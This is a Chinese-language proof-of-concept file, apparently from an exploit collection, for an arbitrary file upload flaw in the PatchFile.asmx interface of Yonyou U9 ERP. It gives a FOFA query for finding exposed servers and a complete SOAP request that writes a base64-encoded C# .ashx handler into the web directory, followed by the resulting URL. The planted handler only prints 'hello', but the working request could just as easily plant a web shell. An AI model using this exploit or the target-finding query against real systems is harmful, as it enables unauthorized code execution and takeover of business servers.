POC/wpoc/用友OA/用友U9-PatchFile.asmx接口存在任意文件上传漏洞.md
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## 用友U9-PatchFile.asmx接口存在任意文件上传漏洞
用友U9聚焦中型和中大型制造企业全面支持业财税档一体化、设计制造一体化、计划执行一体化、营销服务一体化、项目制造一体化等数智制造场景赋能组织变革和商业创新融合产业互联网资源实现连接、共享、协同助力制造企业高质量发展。
## fofa
```
body="logo-u9.png"
```
## poc
```
POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 127.0.0.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/SaveFile"
Content-Length: 880
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SaveFile xmlns="http://tempuri.org/">
<binData>PCUgQCB3ZWJoYW5kbGVyIGxhbmd1YWdlPSJDIyIgY2xhc3M9IkF2ZXJhZ2VIYW5kbGVyIiAlPiAKdXNpbmcgU3lzdGVtOyAKdXNpbmcgU3lzdGVtLldlYjsgCgpwdWJsaWMgY2xhc3MgQXZlcmFnZUhhbmRsZXIgOiBJSHR0cEhhbmRsZXIgCnsgCiAgICBwdWJsaWMgYm9vbCBJc1JldXNhYmxlIAogICAgeyAKICAgICAgICBnZXQgewogICAgICAgICAgICAgcmV0dXJuIHRydWU7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgcHVibGljIHZvaWQgUHJvY2Vzc1JlcXVlc3QoSHR0cENvbnRleHQgY3R4KSAKICAgICAgICB7IAogICAgICAgICAgICBjdHguUmVzcG9uc2UuV3JpdGUoImhlbGxvIik7IAogICAgICAgIH0gCiAgICB9</binData>
<path>./</path>
<fileName>testtest.ashx</fileName>
</SaveFile>
</soap:Body>
</soap:Envelope>
```
上传后的路径
`http://127.0.0.1/CS/Office/AutoUpdates/testtest.ashx`